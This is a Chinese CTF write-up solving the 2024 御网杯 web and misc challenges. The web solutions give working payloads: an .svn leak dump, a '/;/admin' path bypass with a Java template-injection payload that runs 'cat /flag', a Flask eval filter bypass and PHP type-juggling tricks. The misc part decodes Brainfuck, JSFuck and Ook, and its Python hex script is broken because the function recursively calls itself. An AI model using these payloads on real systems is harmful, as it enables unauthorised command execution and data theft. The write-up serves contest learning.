2024御网杯WEB&MISC WP全解
1315609050541697 发表于 湖北 CTF 1330浏览 · 2024-09-27 02:10

WEB

input_data

使用工具https://github.com/kost/dvcs-ripper

./rip-svn.pl -u http://101.200.58.4:10005/.svn

下载下来.svn目录
然后查看结构发现几个文件

cd进去目录,然后cat 文件名字即可看到 flag{5674938f-803d-4c41-8f84-a77f5164bb4f}


Flag: flag{5674938f-803d-4c41-8f84-a77f5164bb4f}

admin

先通过越权访问到admin,访问路径如下

/;/admin

然后bp字典枚举出传参数path测试出ssti, 经过测试发现需要打java视图操作ssti
payload如下

http://101.200.58.4:3333/;/admin?path=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat%20/flag%22).getInputStream()).next()%7d__::x

成功命令执行:


Flag:flag{5d28c6ce-fede-498a-9053-6fe53f54f7d3}

flask

题目源码如下

from flask import Flask, request, Response
import re

app = Flask(__name__)

@app.route('/')
def index():
    evalme = request.args.get('evalme')

    if ((not evalme) or re.search(r'[A-Zd-z\\. /*$#@!+^]', evalme)):
        return 'hacker?'
    a=eval(evalme)
    print(1)
    with open(a, 'rb') as f:
        return Response(f.read())

if __name__ == '__main__':
    app.run(port=8081,debug=True)

由于禁用了字母,但是abc还可以构造格式化字符串,其实还可以用unicode字符绕过,即使没有abc
命令如下 格式化字符串构造文件名字/flag 通过字典取值得到

/?evalme=[a:=%22%c%c%c%c%c%22%(47,102,108,97,103)][-1]

如此多的FLAG

源码中找到下一层文件F1aaj.php

cookie中找到题目下一层的文件/FLLL4g.php

FLLL4g.php访问源码如下

<?php 
if (isset($_GET['X'])) { 
    $temp = $_GET['X']; 
    is_numeric($temp) ? die("no numeric") : NULL; 
    if ($temp > 9999) { 
        echo "Pupil.</br>"; 
    } else { 
        die("NO!NO!NO!"); 
    } 
} 
else { 
    die("Where is X?"); 
} 

if (isset($_GET['Y'])) { 
    $md5 = $_GET['Y']; 
    if ($md5==md5($md5)) { 
        echo "Junior school student.</br>"; 
    } else { 
        die("NO!NO!NO!"); 
    } 
} 
else { 
    die("Where is Y?"); 
} 

if (isset($_GET['Z'])) { 
    $content = $_GET['Z']; 
    if (strlen($content) >= 60) { 
        die("No long!"); 
    } 
    $blacklist = [' ', '\'', '"', '`', '\[', '\]', '\{',  '}', '\t', '\r', '\n']; 
    foreach ($blacklist as $blackitem) { 
        if (preg_match('/' . $blackitem . '/m', $content)) { 
            die("NO!NO!NO!"); 
        } 
    } 
    $security = ['abs', 'base_convert', 'cos', 'dechex', 'exp', 'f1ag', 'getrandmax', 'hexdec', 'is_nan', 'log', 'max', 'octdec', 'pi', 'sin', 'tan']; 
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 
    foreach ($used_funcs[0] as $func) { 
        if (!in_array($func, $security)) { 
            die("NO!NO!NO!"); 
        } 
    } 
    eval('echo '.$content.';'); 
    if(isset($f1ag)){ 
        if($f1ag == "flag"){ 
            echo "Senior high school student.</br>"; 
            echo "Here_is_flag!!!!!!!"; 
        } 
    } 
    else{ 
        echo "NO!NO!NO!"; 
    } 

} 
else { 
    die("Where is Z?"); 
} 
?>

第一种方法
第一步先绕过is_numeric,用数组即可
第二步md5绕过网上一搜一大把
X[]=10000&Y=0e215962017&Z=log($f1ag=0)

第三步可以用 0来绕过,log函数就可以X[]=10000&Y=0e215962017&Z=log($f1ag=0)

或者使用cos函数也可以 X[]=10000&Y=0e215962017&Z=cos($f1ag=0)

Misc:

信息安全大赛的通知

打开后换颜色即可看到flag

多重编码

附件:

编码1:++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>++++++.>----.<-----.>-----.>-----.<<.+.<<<+++++++.------.>>>+.+.---.<<<.

编码2:([](!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+([](!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(![]+[])[+[]]+[!+[]+!+[]]+[+!+[]]

编码3:Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook!
Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook?
Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook.
Ook! Ook. Ook! Ook. Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook!
Ook! Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook. Ook? Ook.

第一段 JSFUCK 解密:flag{ab71cda1

都二段 控制台解码:b495e13b3f21

第三段Ook解密:f6fd50221978}

flag{ab71cda1b495e13b3f21f6fd50221978}

bluetooth

全局搜索flag发现zip并有key密钥

flag.txt:
10004583275926070044326083910251708233320797779355779208703097816305188140191914132269450797
Key:5216294695211820293806247029887026154798297270637676463374801674229881314620340407569315152

这就是密文和密钥

10进制转16进制 脚本

def hex(number):
    hex_str = hex(number)[2:]
    if len(hex_str) == 1:
        hex_str = '0' + hex_str
    return hex_str


if __name__ == "__main__":
    number = int(input("input: "))
    hex_representation = hex(number)
    print(f"{number}的16进制表示为: {hex_representation}")

得到flag{66526827ff3ba85e1444a0df4acbba93}

Coding

观察给的文件

936544a55314a7e4339545f47776a6e41315a7d41325743575655455b4478516a6537416
谜底就是flag,希望大家享受解码的过程。

直接用赛博厨子,html解码,逆序,16进制解码,base64解码即可


凯撒爆破:

1 条评论
某人
表情
可输入 255